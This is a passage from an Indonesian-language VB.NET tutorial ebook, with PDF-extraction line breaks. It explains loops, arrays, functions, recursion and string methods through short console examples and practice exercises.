Dim Angka As Integer Console.Write("Masukkan Angka 1 s/d 9 :") Angka = Console.ReadLine() Select Case Angka Case Is < 1 Console.WriteLine("Terlalu kecil") Case 1 To 5 Console.WriteLine("Berada antara 1 dan 5") Case 6,7,8,9 Console.WriteLine("Berada antara 6 dan 9") Case Else Console.WriteLine("Terlalu besar") End Select End Sub End Module

Perintah For...Next
Salah satu keunggulan komputer dibandingkan dengan manusia adalah dapat mengerjakan sesuatu secara berulang-ulang tanpa mengalami penurunan kualitas terhadap hasil kerja. Salah satu perintah perulangan di Visual Basic ada For…Next Statements yang merupakan perulangan dengan menggunakan sistem counter dengan menggunakan syntax sebagai berikut :
For counter [ As datatype [ statements ] [ Exit For ] [ statements ] Next [ counter ] ] = start To end [ Step step ]

Contoh : Dim I As Integer For I = 1 To 100 Console.WriteLine(I) Next I Atau For I As Integer = 1 To 100 Console.WriteLine(I) Next I 'Defaultnya Step 1

'Defaultnya Step 1

Akan mencetak daftar bilangan 1 s/d 100 Catatan : Dari segi looping pemakaian : Dim I As Integer INDOPROG

23

Bahasa pemrograman VB.NET

Hendra, S.T.

For I = 1 To 100 Console.WriteLine(I) Next I Tidak berbeda dengan For I As Integer = 1 To 100 Console.WriteLine(I) Next I

'Defaultnya Step 1

'Defaultnya Step 1

Tapi jika ditinjau dari lingkup pemakaian variabel, maka variabel I pada contoh pertama adalah variabel local Sub Main, sedangkan variabel I pada contoh kedua adalah variable local untuk blok looping. Contoh : Dim I As Integer For I = 1 To 100 Console.WriteLine(I) Next I Console.WriteLine(I) Sedangkan For I As Integer = 1 To 100 Console.WriteLine(I) Next I Console.WriteLine(I) 'Defaultnya Step 1

'Defaultnya Step 1

'Akan tercetak 101

'Terjadi error pada saat kompilasi

Dimana pesan error adalah error BC30451: Name I is not declared. Dim I As Integer For I = 1 To 100 Step 2 Console.WriteLine(I) Next I Akan mencetak daftar bilangan ganjil 1 s/d 99 Catatan : Step tidak selamanya harus berupa bilangan bulat, tetapi juga dapat berupa bilangan floating point. For I As Single = 1 To 10 Step 0.1 Console.WriteLine(I) Next I Akan mencetak daftar bilangan 1, 1.1, 1.2, 1.3, …,10

INDOPROG

24

Bahasa pemrograman VB.NET

Hendra, S.T.

Bagaimana dengan perulangan dari besar ke kecil ? Perulangan dari besar ke kecil dapat dilakukan dengan menentukan nilai Step negatif. Contoh : For I As Integer = 100 To 1 Step -1 Console.WriteLine(I) Next I Akan mencetak daftar bilangan 100, 99. 98, …, 1 Dapatkah anda menerangkan fungsi dan contoh pemakaian Exit For ? Exit For merupakan perintah keluar dari looping tanpa bersyarat, artinya kalau perintah Exit For ditemukan maka proses program dilanjutkan ke perintah dibawah Next. Adapun contoh pemakaian Exit For adalah misalnya kita ingin membuat password dengan jumlah kesempatan coba sebanyak 3 kali.
Option Explicit On Imports System Module ModPass Sub Main() Dim I As Integer Dim Pass As String For I = 1 To 3 Step 1 Console.Write("Password :") Pass = Console.ReadLine() If Pass.ToUpper() ="INDOPROG" Then Exit For End If Next I If I > 3 Then Console.WriteLine("Proses Login Gagal Else Console.WriteLine("Welcome !") End If End Sub End Module

'Jika Password Benar 'Keluar dari Looping

!")

Perintah Do...Loop
Jika perintah For … Next melakukan looping berdasarkan counter, maka perintah Do … Loop melakukan looping berdasarkan kondisi, adapun tata cara penulisannya adalah sebagai berikut :
Do { While | Until } condition [ statements ] [ Exit Do ] [ statements ]

Loop

INDOPROG

25

Bahasa pemrograman VB.NET

Hendra, S.T.

Atau
Do [ statements ] [ Exit Do ] [ statements ] Loop { While | Until } condition

Perbedaan antara kedua struktur perulangan diatas adalah posisi pemeriksaan kondisi yang akan diuji, pada struktur yang pertama pengujian kondisi dilakukan sebelum statements dikerjakan, sedangkan pada struktur yang kedua pengujuan dilakukan setelah statement dikerjakan. Sebagaimana dengan Exit For, perintah Exit Do akan mengakhiri Looping tanpa bersyarat, yang artinya jika perintah Exit Do ditemukan, maka proses Looping akan segera dihentikan dan dilanjutkan ke Statement dibawah Loop. Contoh :
Option Explicit Imports System On

Module DoLoop Sub Main() Dim Dat() As Integer Dim Jd,DTemp As Integer Jd = 0 Do Console.Write("Data Ke-{0} :", Jd+1) DTemp = Console.ReadLine() If DTemp <> 0 Then ReDim Preserve Dat(Jd) Dat(Jd) = DTemp Jd+=1 End If Loop Until DTemp = 0 'Ulangi sampai Dtemp diisi 0 For I As Integer = 0 To Jd-1 Console.WriteLine("Data Ke-{0} Next I End Sub Module

adalah

{1}",I+1,

Dat(I))

End

Pada contoh diatas, mula-mula kita mendeklarasikan suatu array tanpa diikuti dengan ukuran, kemudian proses akan dilanjutkan dengan pembacaan data ke variabel Dtemp, dab jika nilai Dtemp bukan 0 (nol), maka ukuran array akan dialokasi ulang dengan perintah ReDim Preserve yang akan mempertahankan isi array, dan pembacaan data akan terus diulang sampai Dtemp diisi dengan 0 (nol).

INDOPROG

26

Bahasa pemrograman VB.NET

Hendra, S.T.

Selain struktur Do…Loop, juga tersedia perintah perulangan dengan tata cara penulisan sebagai berikut.
While condition [ statements ]

End While Pada prinsipnya struktur While … End While sama dengan Do While … Loop.

Perintah For Each...Next
Perintah For Each…Next digunakan untuk melakukan iterasi berdasarkan collection tertentu, misalnya kita ingin mencetak semua elemen dalam suatu array, penulisan dengan perintah For Each dapat dilakukan sebagai berikut :
For Each element [ [ statements ] [ Exit For ] [ statements ] As datatype ] In group

Next [ element ] Contoh :
Option Explicit Imports System On

Module DoLoop Sub Main() Dim Dat() As Integer Dim Jd,DTemp As Integer Jd = 0 Do Console.Write("Data Ke-{0} :", Jd+1) DTemp = Console.ReadLine() If DTemp <> 0 Then ReDim Preserve Dat(Jd) Dat(Jd) = DTemp Jd+=1 End If Loop Until DTemp = 0 For Each Data As Integer In Dat Console.WriteLine("Data pada Next End Sub Module

array

{0}",

Data)

End

Array pada Visual Basic merupakan collection pada System.Array, sehingga pemakaian perintah For Each akan mendapatkan elemen 0 s/d element terakhir dari array.

INDOPROG

27

Bahasa pemrograman VB.NET

Hendra, S.T.

Latihan :
1. Buatlah program mencetak tabel perkalian 1x1 = 1 s/d 10 x 10 = 100
Option Explicit On Imports System Public Module ModKali Sub Main()

Dim i, j As Byte For i = 1 To 10 For j = 1 to 10 Console.WriteLine("{0,3} x {1,3} = {2,3}",i,j,i*j) Next j Next i End Sub End Module.

2. Buatlah program untuk konversi data desimal ke binary dengan pemakaian operator bit shift
Option Explicit On Imports System Module ModBiner Sub Main() Dim D As Integer Dim I As Short Console.Write("Bilangan Desimal :") D = Console.ReadLine() For I = 15 to 0 Step -1 If ((D >> I) And 1) = 1 Then Console.Write(1) Else Console.Write(0) End If Next End Sub End Module

3. Buatlah program yang menentukan bilangan bulat yang dimasukan pemakai Genap atau Ganjil. 4. Buatlah program yang menentukan tahun yang dimasukan pemakai termasuk tahun Kabisat atau bukan. 5. Buatlah program yang mencetak barisan bilangan fibonacci sesuai dengan jumlah suku yang ditentukan oleh pemakai. 6. Buatlah program yang menentukan bilangan bulat yang dimasukan pemakai Prima atau bukan.

INDOPROG

28

Bahasa pemrograman VB.NET

Hendra, S.T.

7. Buatlah program yang dapat mencetak faktor prima dari suatu bilangan bulat (Contoh 100 = 2 x 2 x 5 x 5)

INDOPROG

29

Bahasa pemrograman VB.NET

Hendra, S.T.

Array pada Visual Basic
Deklarasi variabel Array
Sebagaimana yang telah disinggung pada bagian 1 bahwa tipe data pada Visual Basic terbagai atas dua kelompok yaitu Value Type dan Reference. Suatu array merupakan Reference Type yang mengandung banyak variabel-variabel yang dapat diakses satu persatu sesuai dengan urutannya dalam array, dimana indexnya dimulai dari 0. Variabel-variabel yang terkandung dalam array disebut juga elemen dari array, dan semuanya harus memiliki tipe yang sama. Setiap tipe array mewarisi (inherits) semua member yang dideklarasikan pada System.Array. Pada contoh berikut ini mendeklarasikan suatu array integer berdimensi tunggal, memberi nilai pada masing-masing elemen array, dan mencetak-nya.:
Module Test Sub Main() Dim arr(5) As Integer Dim i As Integer For i = 0 To arr.GetUpperBound(0) arr(i) = i * i Next i For i = 0 To arr.GetUpperBound(0) Console.WriteLine("arr(" & i & ") = " & arr(i)) Next i End Sub End Module

Program diatas akan menghasilkan output:
arr(0) arr(1) arr(2) arr(3) arr(4) = = = = = 0 1 4 9 16

Array dapat juga diberi nilai awal pada saat deklarasi dengan penulisan sebagai berikut:
Private a As Integer() = { 0, 2, 4, 6, 8 }

Atau penulisan yang sama adalah dengan :
Private a As Integer() = new Integer() { 0, 2, 4, 6, 8 }

Pada contoh berikut membuat array dua dimensi 5 x 2 :

INDOPROG

30

Bahasa pemrograman VB.NET

Hendra, S.T.

Private b As Integer(,) = { { 0, 1 }, { 2, 3 }, { 4, 5 }, { 6, 7 }, { 8, 9 } }

Sama dengan deklarasi berikut:
Private b(4, 1) As Integer

Dan diikuti dengan pemberian nilai berikut :
b(0, b(1, b(2, b(3, b(4, 0) 0) 0) 0) 0) = = = = = 0 2 4 6 8 : : : : : b(0, b(1, b(2, b(3, b(4, 1) 1) 1) 1) 1) = = = = = 1 3 5 7 9

Member pada Class Array
Setiap array pada Visual Basic mewarisi member yang terdefinisi pada Class Array, adapun beberapa member tersebut adalah sebagai berikut ini :
Length LongLength Rank Mendapatkan jumlah elemen dalam Array (Integer 32-bit) Mendapatkan jumlah elemen dalam Array (Integer 64-bit) Mendapatkan jumlah dimensi dalam Array

Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module ModArr Public Arr(3,3) As Integer Sub Main() Console.WriteLine(Arr.Length()) Console.WriteLine(Arr.LongLength()) Console.WriteLine(Arr.Rank()) End Sub End Module

'16 '16 '2

GetLength GetLongLength

Mendapatkan jumlah elemen dalam Array pada dimensi tertentu (Integer 32-bit) Mendapatkan jumlah elemen dalam Array pada dimensi tertentu (Integer 64-bit)

Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module ModArr

INDOPROG

31

Bahasa pemrograman VB.NET

Hendra, S.T.

Public Sub

Arr(3,3)

As

Integer

Main() Console.WriteLine(Arr.GetLength(0)) Console.WriteLine(Arr.GetLongLength(0)) End Sub Module

'4 '4

End

GetLowerBound GetUpperBound

Mendapatkan nilai index batas bawah Array pada dimensi tertentu. Mendapatkan nilai index batas atas Array pada dimensi tertentu.

Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module ModArr Public Arr(3,3) As Integer Sub Main() Console.WriteLine(Arr.GetLowerBound(0)) Console.WriteLine(Arr.GetUpperBound(0)) End Sub End Module IndexOf LastIndexOf Mendapatkan index paling awal dari nilai tertentu pada Array 1 dimensi. Mendapatkan index paling akhir dari nilai tertentu pada Array 1 dimensi.

'0 '3

Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module ModArr Public Arr() As Integer = Sub

{0,1,2,3,4,3,2,1,0}

Main() Console.WriteLine(Array.IndexOf(Arr,3)) Console.WriteLine(Array.LastIndexOf(Arr,3)) End Sub Module

'3 '5

End

Reverse

Membalik urutan element dalam suatu Array 1 dimensi.

Option

Explicit

On

INDOPROG

32

Bahasa pemrograman VB.NET

Hendra, S.T.

Imports System Imports Microsoft.VisualBasic Public Module ModArr Public Arr() As Integer = {0,1,2,3,4} Sub Main() Dim I As Integer For I = Arr.GetLowerBound(0) Console.Write(Arr(I)) Next I Console.WriteLine() Array.Reverse(Arr,0,4) For I = Arr.GetLowerBound(0) Console.Write(Arr(I)) Next I End Sub End Module Sort Mengurut elemen dalam suatu Array 1 dimensi.

To

Arr.GetUpperBound(0) '01234

To

Arr.GetUpperBound(0) '43210

Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module ModArr Public Arr() As Integer = {0,4,3,1,2} Main() Dim I As Integer For I = Arr.GetLowerBound(0) Console.Write(Arr(I)) Next I Console.WriteLine() Array.Sort(Arr,0,4) For I = Arr.GetLowerBound(0) Console.Write(Arr(I)) Next I End Sub End Module Sub

To

Arr.GetUpperBound(0) '04312

To

Arr.GetUpperBound(0) '01234

BinarySearch

Mencari Nilai tertentu pada suatu Array dengan algoritma Binary Search.

Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module ModArr Public Arr() As Integer = {0,4,3,1,2} Sub Main() Dim Nilai = 3

INDOPROG

33

Bahasa pemrograman VB.NET

Hendra, S.T.

Array.Sort(Arr,0,4) Console.WriteLine(Array.BinarySearch(Arr,Nilai)) End Sub End Module

'2

Perintah Visual Basic untuk Array
Visual Basic menyediakan berbagai perintah khusus untuk pengolahan string sebagai berikut ::

Perintah ReDim
Perintah ReDim digunakan untuk mendefinisi ulang jumlah elemen pada Array dengan atau tanpa mempertahankan data array sebelumnya. ReDim [ Preserve ] name(boundlist) Preserve Sifatnya optional, jika digunakan maka data pada array tersebut akan dipertahankan pada array ukuran baru Contoh : Pada contoh berikut menggunakan perintah ReDim untuk mengalokasi ualang ukuran variabel array.
Dim I, MyArray() As Integer ReDim MyArray(5) For I = 0 To UBound(MyArray) MyArray(I) = I Next I ' Declare variable and array variable. ' Allocate 6 elements. ' Initialize array.

Perintah berikut mengubah ukuran array tanpa mempertahankan isi elemennya..
ReDim MyArray(10) ' Resize to 11 elements. For I = 0 To UBound(MyArray) MyArray(I) = I ' Initialize array. Next I

Perintah berikut mengubah ukuran dari array dengan mempertahankan isi elementnya.
ReDim Preserve MyArray(15) ' Resize to 16 elements.

Contoh berikut mengalokasi ulang array sesuai dengan data yang dimasukan pemakai :
Option Explicit Imports System Module DoLoop On

INDOPROG

34

Bahasa pemrograman VB.NET

Hendra, S.T.

Sub

Main() Dim Dat() As Integer Dim Jd,DTemp As Integer Jd = 0 Do Console.Write("Data Ke-{0} :", Jd+1) DTemp = Console.ReadLine() If DTemp <> 0 Then ReDim Preserve Dat(Jd) Dat(Jd) = DTemp Jd+=1 End If Loop Until DTemp = 0 'Ulangi sampai Dtemp diisi 0 For I As Integer = 0 To Jd-1 Console.WriteLine("Data Ke-{0} Next I

adalah

{1}",I+1,

Dat(I))

End

End Sub Module

Perintah Erase
Perintah Erase digunakan untuk membebaskan array dan memory yang digunakan elemennya, dengan tata cara penulisan sebagai berikut :
Erase arraylist

Catatan Perintah Erase akan memberikan nilai Nothing ke variabel array. Contoh Pada contoh berikut menggunakan perintah Erase untuk membebaskan memori dua array (1000 dan 100 tempat elemen yang bersesuaian). Kemudian menggunakan perintah ReDim untuk memberikan ukuran baru untuk ketiga dimensi dari array.
Dim Int3DArray(9, 9, 9), Int2DArray(9, ' ... Erase Int3DArray, Int2DArray ' ... ReDim Int3DArray(4, 4, 9) 9) As Integer

Module Array pada Namespace Microsoft.VisualBasic

INDOPROG

35

Bahasa pemrograman VB.NET

Hendra, S.T.

Pengolahan data array dapat juga menggunakan beberapa fungsi bantu yang berkaitan dengan array yang tersedia pada Namespace Microsoft.VisualBasic, berikut ini adalah beberapa fungsi bantu tersebut :

Fungsi IsArray
Mengembalikan nilai Boolean yang menunjukan apakah suatu variabel menunjuk pada suatu array. Pada contoh ini fungsi IsArray memeriksa apakah variabel-variabel mengacu pada suatu array.
Dim MyArray(4), YourArray(3) As Integer Dim MyString As String Dim MyCheck As Boolean MyCheck = IsArray(MyArray) MyCheck = IsArray(YourArray) MyCheck = IsArray(MyString) ' Declare array variables.

' Returns True. ' Returns True. ' Returns False.

LBound Function
Mengembalikan index terendah untuk dimensi tertentu dari suatu array Pada contoh berikut menggunakan fungsi LBound untuk mendapatkan index terendah suatu dimensi dari array.
Dim Lowest, MyArray(10, 15, 20), Lowest = LBound(MyArray, 1) ' Lowest = LBound(MyArray, 3) ' Lowest = LBound(AnyArray) ' AnyArray(6) as Integer Returns 0. Returns 0. Returns 0.

Suatu Exception/Error akan terjadi kalau kondisi berikut ini ditemukan : Exception type ArgumentNullException RankException Error number 9 9 Condition Array is Nothing. Rank < 1 or Rank is greater than the rank of Array.

Fungsi UBound
Mengembalikan index yang terbesar dari suatu dimensi pada array. Pada contoh berikut menggunakan fungsi Ubound untuk menentukan index yang terbesar dari suatu dimensi pada array.
Dim Highest, MyArray(10, 15, 20), AnyArray(6) as Integer

INDOPROG

36

Bahasa pemrograman VB.NET

Hendra, S.T.

Highest = UBound(MyArray, 1) Highest = UBound(MyArray, 3) Highest = UBound(AnyArray)

' Returns 10. ' Returns 20. ' Returns 6.

Catatan : Untuk memanfaatkan fungsi IsArray, Lbound dan Ubound anda perlu mencantumkan Imports Microsoft.VisualBasic Pada awal program

Latihan :
1. Buatlah program yang menbaca sejumlah data dari pemakain, dan menampilkan kembali dalam keadaan berurut dari kecil ke besar, nilai total, rata-rata, nilai terbesar, dan nilai yang terkecil dengan pemanfaatan array. 2. Perbaiki program diatas untuk menampilkan kembali dalam keadaan berurut dari besar ke kecil. 3. Tambahkan kemampuan program untuk mencari suatu nilai yang dimasukan dan menampilkan posisinya dalam array. 4. Buatlah program yang mencetak suatu segitiga Pascal.

INDOPROG

37

Bahasa pemrograman VB.NET

Hendra, S.T.

Fungsi dan Sub
Perintah Function
Dalam pembuatan program yang besar, tentu saja harus dikembangkan secara terstruktur sehingga program menjadi lebih mudah dikembangkan dan dimaintenance. Salah satu usaha yang dapat dilakukan adalah memecah program menjadi kesatuan logika yang lebih kecil dimana proses yang sama dikelompokan menjadi sub program yang diberi nama, dan dapat dipanggil pada saat yang dibutuhkan. Pemakaian function digunakan untuk proses maupun rumus yang perlu mengembalikan nilai kepada pemanggil, adapun tata cara penulisan function adalah sebagai berikut :
Function name[(arglist)] [ As type ] [ statements ] [ Exit Function ] [ statements ] End Function

Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module GenapGanjil Function IsGenap(x As Long) As Boolean If (x Mod 2) = 0 Then Return True Else Return False End If End Function REM program utama Sub Main() Dim bil As Long Console.Write("Masukan Bilangan :") bil = Console.ReadLine() If IsGenap(bil) Then Console.WriteLine("Bilangan {0} adalah Else Console.WriteLine("Bilangan {0} adalah End If End Sub End Module

Genap",bil) Ganjil",bil)

Defaultnya parameter pada function dikirim secara ByVal, kadang-kadang kita menginginkan proses yang dapat mengembalikan lebih dari satu nilai yang mana dapat dipenuhi dengan menggunakan parameter yang dikirim secara ByRef.

INDOPROG

38

Bahasa pemrograman VB.NET

Hendra, S.T.

Misalnya kita ingin menghitung akar persamaan kuadrat dengan menggunakan rumus ABC. Yang mana X1 dan X2 yang kemungkinan akar imaginier, dimana function akan mengembalikan suatu nilai true (ada solusi) atau false (tidak ada solusi). Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module AkarKuadrat Function CariAkar(A as Long, B as Long ,C As Long, _ ByRef X1 as single ,ByRef X2 as single) As Boolean Dim D as Long D = B^2 - 4*A*C If D < 0 Then 'Akar Imaginier Return False 'Tidak ada solusi Else X1 = (-B + Math.Sqrt(D))/(2*A) 'argumen X1 X2 = (-B - Math.Sqrt(D))/(2*A) 'argumen X2 Return True 'Ada solusi End If End Function REM program utama Sub Main() Dim A,B,C As Long Dim X1,X2 As Single Console.WriteLine("Mencari akar persamaan kuadrat") Console.Write("Masukan A :") A = Console.ReadLine() Console.Write("Masukan B :") B = Console.ReadLine() Console.Write("Masukan C :") C = Console.ReadLine() If CariAkar(A,B,C,X1,X2) Then Console.WriteLine("Akar X1={0} X2={1}",X1,X2) Else Console.WriteLine("Akar imaginier") End If End Sub End Module

Catatan : Perintah Return digunakan untuk mengembalikan nilai ke pemanggil, dan jika suatu Exit Function digunakan, maka function akan mengembali nilai defaut berupa 0 for Byte, Char, Decimal, Double, Integer, Long, Short, and Single; Nothing for Object, String, and all arrays; False for Boolean; and #1/1/0001 12:00 AM# for Date.

Jika kita perlu melewatkan suatu array sebagai argumen pada function, maka dapat digunakan keyword ParamArray untuk melewatkan nilai array secara by value, contoh :

INDOPROG

39

Bahasa pemrograman VB.NET

Hendra, S.T.

Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module ModArr Function sumArray(ByVal Paramarray Dat() Dim Total As Long = 0 For I As Integer = 0 To UBound(Dat) Total += Dat(I) Next I Return Total End Function Dim Digit() As Byte = {0,1,2,3,4,5} Sub Main() Console.WriteLine(sumArray(Digit)) End Sub End Module

As

Byte)

Sub Statement
Pada bagian sebelumnya kita telah membahas tentang function dan pemakaiannya, selanjutnya kita akan melihat Sub yang menyerupai Function, dimana perbedaannya adalah jika function digunakan untuk proses yang mengembalikan nilai kepada pemanggil, sedangkan Sub cenderung digunakan untuk proses yang tidak mengembalikan nilai.
Sub name [(arglist)] [ statements ] [ Exit Sub ] [ statements ] End Sub

Catatan : Sebagaimana function, sebenarnya sub juga dapat digunakan untuk proses yang mengembalikan nilai melalui argumen yang dikirim secara ByRef. Jika Exit Sub digunakan, maka Sub akan kembali ke pemanggil secara tidak bersyarat. Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module ModArr Public Arr() As Integer Public Jd As Byte Sub BacaJd() Console.Write("Masukkan = Console.ReadLine() End Sub Sub BacaData()

Jumlah

Data

:") Jd

INDOPROG

40

Bahasa pemrograman VB.NET

Hendra, S.T.

ReDim Arr(Jd-1) For I As Byte = 0 To UBound(Arr) Console.Write("Data Ke -{0} :",I+1) Arr(I) = Console.ReadLine() Next I End Sub Sub CariRataRata() Dim Total As Long = 0 For I As Byte = 0 To UBound(Arr) Total +=Arr(I) Next I Console.WriteLine("Nilai Rata-rata End Sub Sub Main() BacaJd() BacaData() CariRataRata() End Sub End Module

:

{0}",Total/Jd)

Teknik Rekursi pada Visual Basic Dalam matematika, kita sering menjumpai formula yang mengandung rekursi, misalnya pada perhitungan nilai faktorial dari suatu bilangan yang dapat diformulasikan sebagai berikut : N! = N x (N-1)! Dimana 1! = 1. Sehingga secara pemrograman komputer dapat ditulis sebagai berikut :
Option Explicit On Imports System Public Module modFak Function Fak(N as Byte) If (N > 1) Then Return N * Fak(N-1) Else Return 1 End If End Function Main() Console.WriteLine("Faktorial End Sub End Module Sub

dari

{0}

adalah

{1}",5,Fak(5))

Latihan :

INDOPROG

41

Bahasa pemrograman VB.NET

Hendra, S.T.

1. Buatlah function IsKabisat yang akan mengembalikan nilai True jika tahun yang dikirim sebagai argumen adalah Kabisat, dan False jika sebaliknya. 2. Buatlah function IsPrima yang akan mendeteksi apakah suatu bilangan yang diberikan adalah Prima atau tidak. 3. Dengan pemanfaatan teknik rekursi, buatlah function yang dapat menghitung suku yang ke n dari barisan fibonacci. 4. Buatlah program yang mencetak faktor prima dari suatu bilangan dengan pemanfaatan Sub secara rekursi.

INDOPROG

42

Bahasa pemrograman VB.NET

Hendra, S.T.

String
Variabel string pada Visual Basic disimpan sebagai urutan dari angka 16-bit (2 byte) yang memiliki jangkauan dari 0 sampai 65535. Masing-masing angka merupakan suatu karakter tunggal Unicode. Suatu string dapat mengandung sampai dengan 2 Milyar (2^31) karakter Unicode. 128 kode pertama (0-127) dari Unicode berkaitan dengan huruf dan simbol pada keyboard standard U.S yang mana sama dengan karakter set yang terdefinisi pada ASCII, kemudian 128 karakter berikutnya (128-255) merupakan karakter spesial, seperti huruf alphabet Latin, accent, simbol mata uang, dan pecahan. Kemudian karakter sisianya digunakan untuk berbagai simbol, termasuk karakter teksual didunia, dan simbol teknis, dan metematika. Pada dasarnya String pada Visual Basic mengacu pada String Class. Contoh :
Option Explicit On Imports System Public Module modStr Dim Nama As String = "Hendra Soewarno" Sub Main() Console.WriteLine(Nama.ToUpper()) Console.WriteLine(Nama.ToLower()) End Sub End Module

Pada contoh diatas akan mencetak HENDRA SOEWARNO dan hendra soewarno.

Member pada Class String
Semua string di Visual Basic memiliki member sebagai berikut yang dapat digunakan untuk melakukan pengolahan data String.

Public Properties
Chars Length Mendapatkan karakter pada posisi tertentu string. Mendapatkan jumlah character dalam string

Contoh :
Option Explicit On Imports System Public Module modStr

INDOPROG

43

Bahasa pemrograman VB.NET

Hendra, S.T.

Dim Nama As String = "Hendra Soewarno" Sub Main() Console.WriteLine(Nama.Chars(0)) Console.WriteLine(Nama.Chars(1)) Console.WriteLine(Nama.Chars(2)) Console.WriteLine(Nama.Length()) End Sub End Module

'Akan 'Akan 'Akan 'Akan

mencetak mencetak mencetak mencetak

H e n 12

Public Methods
PadLeft Mengisi spasi atau karakter lain disebelah kiri string sampai string mencapai panjang tertentu. Mengisi spasi atau karakter lain disebelah kanan string sampai string mencapai panjang tertentu. Mengembalikan string yang telah diubah ke huruf kecil

PadRight

ToLower

ToUpper

Mengembalikan string yang telah diubah ke huruf besar

Trim

Mengembalikan string dengan membuang spasi didepan dan belakang string Mengembalikan string dengan membuang spasi dibelakang string

TrimEnd

TrimStart

Mengembalikan string dengan membuang spasi didepan string

Substring

Mengembalikan bagian dari string

Contoh :
Option Imports Public Dim Dim Sub Explicit On System Module modStr Nama As String = "Hendra Soewarno" Kota As String = " Medan " Main() Console.WriteLine(Nama.PadLeft(20,"-")) Console.WriteLine(Nama.PadRight(20,"-")) Console.WriteLine(Nama.ToLower()) Console.WriteLine(Nama.ToUpper()) Console.WriteLine(Kota.TrimEnd()) Console.WriteLine(Kota.TrimStart())

'-----Hendra Soewarno 'Hendra Soewarno----'hendra soewarno 'HENDRA SOEWARNO '____Medan 'Medan_____

INDOPROG

44

Bahasa pemrograman VB.NET

Hendra, S.T.

Console.WriteLine(Kota.Trim()) Console.WriteLine(Nama.SubString(3,3)) End Sub End Module

'Medan 'dra

Insert Remove Replace

Menyisip string ke dalam string sekarang pada posisi tertentu. Menghapus sejumlah karakter dalam string Mengantu sejumlah karakter dengan string pada string sekarang

Contoh :
Option Explicit On Imports System Public Module modStr Dim Nama As String = "Santo" Sub Main() Console.WriteLine(Nama.Insert(1,"us")) Console.WriteLine(Nama.Remove(0,1)) Console.WriteLine(Nama.Replace("o","i")) End Sub End Module IndexOf

'Susanto 'anto 'Santi

Mengembalikan posisi awal suatu string pada string sekarang mulai dari posisi tertentu Mengembalikan posisi awal suatu string pada string sekarang. Mengembalikan posisi akhir suatu string pada string sekarang sekarang mulai dari posisi tertentu Mengembalikan posisi akhir suatu string pada string sekarang. Mendapatkan apakah string dimulai dengan string tertentu. Mendapatkan apakah string diakhir dengan string tertentu.

IndexOfAny

LastIndexOf

LastIndexOfAny StartsWith EndsWith

Contoh :
Option Explicit On Imports System Public Module modStr ' ' Dim Nama As String

0 1 2 012345678901234567890123456 = "ebook karya Hendra Soewarno"

INDOPROG

45

Bahasa pemrograman VB.NET

Hendra, S.T.

Main() Console.WriteLine(Nama.StartsWith("e")) Console.WriteLine(Nama.StartsWith("a")) Console.WriteLine(Nama.EndsWith("o")) Console.WriteLine(Nama.EndsWith("i")) End Sub End Module

Sub

'True 'False 'True 'False

Option Imports Public ' ' Dim Sub

Explicit On System Module modStr 0 1 2 012345678901234567890123456 = "ebook karya Hendra Soewarno" '0 '21 '13 '13

Nama As String Main() Console.WriteLine(Nama.IndexOfAny("e")) Console.WriteLine(Nama.LastIndexOfAny("e")) Console.WriteLine(Nama.IndexOf("e",2)) Console.WriteLine(Nama.LastIndexOf("e",15)) End Sub End Module

Module String pada Namespace Microsoft.VisualBasic
Selain pengolahan data string dengan menggunakan String Member, Visual Basic juga menyediakan berbagai fungsi bantu yang terdefinisi pada Namespace Micorosoft.VisualBasic, berikut ini adalah beberapa fungsi bantu yang dapat digunakan untuk pengolahan data string. Asc(x), mengembalikan nilai ASCII dari huruf pertama dalam string x AscW(x), mengembalikan nilai ASCII dari huruf pertama dalam string x Chr(x), mengembalikan character dari suatu nilai ASCII x ChrW(x), , mengembalikan character dari suatu nilai ASCII x Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module modStr Sub Main() Console.WriteLine(Asc("H")) Console.WriteLine(AscW("H")) Console.WriteLine(Chr("72")) Console.WriteLine(ChrW("72")) End Sub End Module

'72 '72 'H 'H

INDOPROG

46

Bahasa pemrograman VB.NET

Hendra, S.T.

Len(x), mengembalikan panjang string x dalam karakter. Lcase(x), mengembalikan string yang telah diubah menjadi huruf kecil. Ucase(x), mengembalikan string yang telah diubah menjadi huruf besar. Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module modStr Sub Main() Dim Nama As String = "Hendra Soewarno" Console.WriteLine(Len(Nama)) Console.WriteLine(LCase(Nama)) Console.WriteLine(UCase(Nama)) End Sub End Module

'15 'hendra 'HENDRA

soewarno SOEWARNO

GetChar(x,y), mendapatkan character posisi ke y dalam string x. Left(x,y), mengembalikan substring dari string x sebanyak y karakter dari depan. Right(x,y), mengembalikan substring dari string x sebanyak y karakter dari belakang. Mid(x,y,z) mengembalikan substring dari string x mulai posisi y sebanyak z karakter. Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module modStr Sub Main() Dim Nama As String = "Hendra Soewarno" Console.WriteLine(GetChar(Nama,1)) Console.WriteLine(Left(Nama,6)) Console.WriteLine(Right(Nama,8)) Console.WriteLine(Mid(Nama,4,3)) End Sub End Module

'H 'Hendra 'Soewarno 'dra

Space(x), mengembalikan string yang terdiri dari spasi sejumlah x karakter. Rset(x,y), mengembalikan string rapat kanan dengan panjang y dengan menambah spasi di depan string x.

INDOPROG

47

Bahasa pemrograman VB.NET

Hendra, S.T.

Lset(x,y), mengembalikan string rapat kiri dengan panjang y dengan menambah spasi dibelakang string x. Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module modStr Sub Main() Dim Nama1 As String = "Hendra" Dim Nama2 As String = "Soewarno" Console.WriteLine(Nama1 & Space(5) Console.WriteLine(RSet(Nama1,9)) Console.WriteLine(LSet(Nama1,9)) End Sub End Module

&

Nama2) 'Hendra '___Hendra 'Hendra___

Soewarno

